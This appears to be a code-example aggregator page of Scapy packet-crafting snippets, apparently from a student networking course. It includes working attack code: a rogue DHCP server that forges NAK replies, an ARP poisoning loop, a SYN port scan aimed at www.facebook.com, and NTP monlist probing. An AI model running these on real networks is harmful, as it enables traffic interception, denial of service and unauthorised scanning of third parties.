示例#1
0
文件: A_2.py 项目: Yxwww/PythonNScapy
def replyRandomTTL(packet):
    global packetCount
    packetCount += 1
    packet.show()
    originalIPSrc = packet[IP].src
    originalIPDst = packet[IP].dst
    originalMACSrc = packet[Ether].src
    originalMACDst = packet[Ether].dst
    #newPacket = IP(src=originalSrc,dst=originalDst,ttl=random.randint(1,100))/ICMP(type="echo-reply")
    #newPacket.show()
    #send()
    #replyPacket = eval(packet[1].command())
    if packet[ICMP].type == 8:

        replyPacket = eval(packet[1].command())
        #replyPacket = packet
        replyPacket[IP].src = originalIPDst
        replyPacket[IP].dst = originalIPSrc
        #replyPacket[Ether].dst = originalMACSrc
        #replyPacket[Ether].src = originalMACDst
        del replyPacket[IP].ttl
        replyPacket[IP].ttl = random.randint(1,100)
        del replyPacket[ICMP].chksum
        replyPacket[ICMP].type = 0          # 0 As echo-reply
        print("Sending back:")
        replyPacket.show2()
        del packet
        send(replyPacket)
    return #"Packet #%s: %s ==> %s" % (packetCount, packet[0][1].src, packet[0][1].dst)
示例#2
0
 def monlist_scan(self,target):
     data = "\x17\x00\x03\x2a" + "\x00" * 4
     ip = IP(dst=target)
     udp=UDP(sport=random.randint(49152,65536),dport=123)
     a = Raw(load=data)
     pck = ip/udp/a
     n = 0
     results = None
     #try:
     while (n < 3):
         rep = sr1(pck,verbose=0,timeout=5)
         if hasattr(rep,'answers'):
             results = 1
             break
         elif not hasattr(rep,'answers') and (n < 3):
             #print "Pass ",n
             n = n + 1
         else:
             results = None
             break
             pass
     #except KeyboardInterrupt:
     #    sys.exit(0)
     #except Exception as e:
 #        results = None
         #print e
     return results
示例#3
0
def scan_port(host, port):
    # Send SYN with random Src Port for each Dst port
    srcPort = random.randint(1025, 65534)
    resp = sr1(IP(dst=host) / TCP(sport=srcPort, dport=port, flags="S"), timeout=1, verbose=0)
    if resp.haslayer(TCP) and resp[TCP].flags == (TCPFlag.SYN | TCPFlag.ACK):
        send(IP(dst=host) / TCP(sport=srcPort, dport=port, flags="R"), timeout=1, verbose=0)
        return True

    return False
示例#4
0
def dhcp_manipulate(pkt):
    global LegitDHCPServer, splittedIPv4, rougeServer, maxNAKReply
    tempOptions = {}
    for opt in pkt[DHCP].options:
        if opt == 'end':
            break
        elif opt == 'pad':
            break
        else:
            tempOptions[opt[0]] = opt[
                1]  #   store the option tuple into dictionary
            #print opt
    #print tempOptions
    if tempOptions['message-type'] == 1:  # if msg is DHCP discover msg
        print "Discover:"
        #pkt.show()
        #TODO: Normal Server offer options:{'server_id': '136.159.253.46', 'lease_time': 3600, 'name_server': '136.159.1.21', 'domain': 'ucalgary.ca', 46: '\x08', 'subnet_mask': '255.255.255.0', 'message-type': 2, 'router': '10.13.27.1'}
        randomedIPv4Addr = splittedIPv4
        randomedIPv4Addr[3] = str(random.randint(1, 255))
        offerIPAddress = reassembleIPAddress(randomedIPv4Addr)
        tmpRouter_id = splittedIPv4
        tmpRouter_id[3] = '1'
        router_id = reassembleIPAddress(tmpRouter_id)
        print "Src: ", pkt[Ether].src
        #TODO: Conver chaddr to Hex otherwise Wireshark will say it's different
        OfferPacket = Ether(src=rougeServer['MAC'], dst=pkt[Ether].src)/IP(src=rougeServer['IP'],dst=offerIPAddress)/UDP(sport=67,dport=68)\
                       /BOOTP(op=2, yiaddr= offerIPAddress,ciaddr=pkt[IP].src,siaddr="0.0.0.0",chaddr=pkt[BOOTP].chaddr,giaddr=rougeServer['IP'], xid=pkt[BOOTP].xid)\
                       /DHCP(options=[('message-type','offer'),('server_id',rougeServer['IP']),('lease_time',3600),('subnet_mask','255.255.255.0'),('router', myIPv4Address), ('end')])
        sendp(OfferPacket)
        #print "Offer from rouge:"
        OfferPacket.show()
        print "Offer from rouge:"
    elif tempOptions['message-type'] == 3:  #if msg is Request message
        print "Request:"
        pkt.show()
        print('From Legit')
        # Fake NAK msg send by pretending legit DHCP Server. When we see request packet for
        if tempOptions.has_key('server_id'):
            if rougeServer['NAKReplyCounter'] < maxNAKReply and LegitDHCPServer[
                    'MAC'] == tempOptions['server_id']:
                NAKreply = Ether(src=LegitDHCPServer['MAC'], dst=pkt[Ether].dst)/IP(src=LegitDHCPServer['IP'],dst=pkt[IP].dst)/UDP(sport=67,dport=68)\
                           /BOOTP(op=2, ciaddr=pkt[IP].src,siaddr=pkt[IP].dst,chaddr=pkt[Ether].src, xid=pkt[BOOTP].xid)\
                           /DHCP(options=[('server_id',LegitDHCPServer['IP']),('message-type','nak'), ('end')])
                sendp(NAKreply)
                print "NAK sent out..."
                rougeServer['NAKReplyCounter'] += 1  # increment NAK msg number
        AckPacket = Ether(src=rougeServer['MAC'], dst=pkt[Ether].src)/IP(src=rougeServer['IP'],dst=tempOptions['requested_addr'])/UDP(sport=67,dport=68)\
                       /BOOTP(op=2, yiaddr=tempOptions['requested_addr'],ciaddr="0.0.0.0",siaddr="0.0.0.0",chaddr=pkt[BOOTP].chaddr,sname=pkt[BOOTP].sname,file=pkt[BOOTP].file,giaddr=rougeServer['IP'], xid=pkt[BOOTP].xid)\
                       /DHCP(options=[('message-type','ack'),('server_id',rougeServer['IP']),('lease_time',3600),('subnet_mask','255.255.255.0'),('router', myIPv4Address), ('end')])
        AckPacket.show()
        sendp(AckPacket)
    elif tempOptions['message-type'] == 2:
        pkt.show()
        print('From Legit')
    elif tempOptions['message-type'] == 5:
        pkt.show()
        print "From Legit"
示例#5
0
    def active_scan(self, target):
        req = 'M-SEARCH * HTTP/1.1\r\nHost:239.255.255.250:1900\r\nST:upnp:rootdevice\r\nMan:"ssdp:discover"\r\nMX:3\r\n\r\n'
        ip = IP(dst=target)
        udp = UDP(sport=random.randint(49152, 65536), dport=1900)
        pck = ip / udp / req
        try:
            start = time.time()
            rep = sr1(pck, verbose=0, timeout=5)
            if rep[Raw]:
                results = rep[Raw].load
            else:
                pass
        except Exception as e:
            results = None

    #print e
        return results
示例#6
0
def iot_traffic(mapping_dict, broker_address):
    """
    Connect, publish, disconnect mqtt traffic
    :param iot_mac_ip: MAC-IP mapping dictionary
    :param broker_address: IP address of MQTT broker
    :return: void
    """

    while True:
        for mac in mapping_dict:
            # Create new MQTT client instance
            client = mqtt.Client(mac)
            client.reinitialise()

            # MQTT callback information
            client.on_message = on_message
            client.on_connect = on_connect
            client.on_disconnect = on_disconnect
            client.on_publish = on_publish
            client.on_log = on_log

            print(
                f'\nconnecting {mapping_dict[mac]} to broker {broker_address}')

            # Client connects to the broker and waits to ensure connection completes
            client.connect(broker_address,
                           port=1883,
                           bind_address=mapping_dict[mac])  # connect to broker
            time.sleep(5)

            # Start traffic loop in background thread while publishing info to broker
            client.loop_start()
            client.subscribe("Security/Monitor")
            randval = random.randint(
                1000, 9999)  # random value to use in publish message
            client.publish("Security/Monitor", randval)
            time.sleep(5)
            client.publish("security/secops/event", randval)
            client.loop_stop()

            # Disconnect MQTT connection from broker
            # client.disconnect()

        # Delayed response
        time.sleep(30)
示例#7
0
文件: A_4.py 项目: Yxwww/PythonNScapy
    resultString = ""
    for index in range(len(splittedIPArrary)):
        if index < len(splittedIPArrary) - 1:
            resultString += splittedIPArrary[index] + "."
        else:
            resultString += splittedIPArrary[index]
    return resultString


while 1:
    op = 2  # Op code 2 for ARP reply
    #TODO: Random the victim and spoof. Remember to use RandMAC
    # generate random victim
    global splittedIPv4
    randomIP = splittedIPv4
    randomIP[3] = str(random.randint(
        1, 255))  # Random the last 8 bytes in the IP address
    #print "spoof: ",reassembleIPAddress(spoof)
    randomIP = reassembleIPAddress(randomIP)
    # Attacker MAC address
    mac = RandMAC()  # Random MAC Address
    arp = ARP(op=op, psrc=randomIP, hwsrc=RandMAC())  # Build ARP packet
    arp.show()
    send(arp)  # Send out the poison
    time.sleep(3)

# Used for targeted victim
#Q: What is randomed MAC address
#op = 2 # Op code 1 for ARP requests
# generate random victim
#victim = splittedIPv4
#victim[3] = "126"
示例#8
0
文件: A_8.py 项目: Yxwww/PythonNScapy
__author__ = 'Yuxibro'
from scapy.all import conf, sendp, srp1, ICMP, sniff, Ether, IP, ARP, UDP, BOOTP, DHCP, get_if_raw_hwaddr, random, send, RandMAC, TCP, sr, sr1
import random
# Define end host and TCP port range
host = "www.facebook.com"
portRange = [22, 23, 80, 443, 3389]
# Send SYN with random Src Port for each Dst port
for dstPort in portRange:
    srcPort = random.randint(1025, 65534)
    resp = sr1(IP(dst=host) / TCP(sport=srcPort, dport=dstPort, flags="S"),
               timeout=1,
               verbose=0)
    if (str(type(resp)) == "<type 'NoneType'>"):
        print host + ":" + str(dstPort) + " is filtered (silently dropped)."
    elif (resp.haslayer(TCP)):
        if (resp.getlayer(TCP).flags == 0x12):
            send_rst = sr(IP(dst=host) /
                          TCP(sport=srcPort, dport=dstPort, flags="R"),
                          timeout=1,
                          verbose=0)
            print host + ":" + str(dstPort) + " is open."
        elif (resp.getlayer(TCP).flags == 0x14):
            print host + ":" + str(dstPort) + " is closed."
    elif (resp.haslayer(ICMP)):
        if (int(resp.getlayer(ICMP).type) == 3
                and int(resp.getlayer(ICMP).code) in [1, 2, 3, 9, 10, 13]):
            print host + ":" + str(
                dstPort) + " is filtered (silently dropped)."

# My port scan script
#TODO: any port for any host ??????
示例#9
0
if len(sys.argv) > 3:
    traffic_opt = str(sys.argv[3])
else:
    traffic_opt = ""

pktdump = PcapWriter(path, append=False, sync=True)

pkt = []

for i in range(0, size):
    if traffic_opt == "fuzzy":

        eth = Ether(src=RandMAC(), dst=RandMAC())
        vlan = Dot1Q()
        udp = UDP(dport=RandShort(), sport=RandShort())
        ipv4 = IP(src=RandIP(), dst=RandIP(), len=random.randint(0, 100))
        ipv6 = IPv6(src=RandIP6(), dst=RandIP6(), plen=random.randint(0, 100))
        tcp = TCP(dport=RandShort(), sport=RandShort(), flags='S',
                  dataofs=random.randint(0, 15))

        # IPv4 packets with fuzzing
        pkt.append(fuzz(eth / ipv4 / udp))
        pkt.append(fuzz(eth / ipv4 / tcp))
        pkt.append(fuzz(eth / vlan / ipv4 / udp))
        pkt.append(fuzz(eth / vlan / ipv4 / tcp))

        # IPv6 packets with fuzzing
        pkt.append(fuzz(eth / ipv6 / udp))
        pkt.append(fuzz(eth / ipv6 / tcp))
        pkt.append(fuzz(eth / vlan / ipv6 / udp))
        pkt.append(fuzz(eth / vlan / ipv6 / tcp))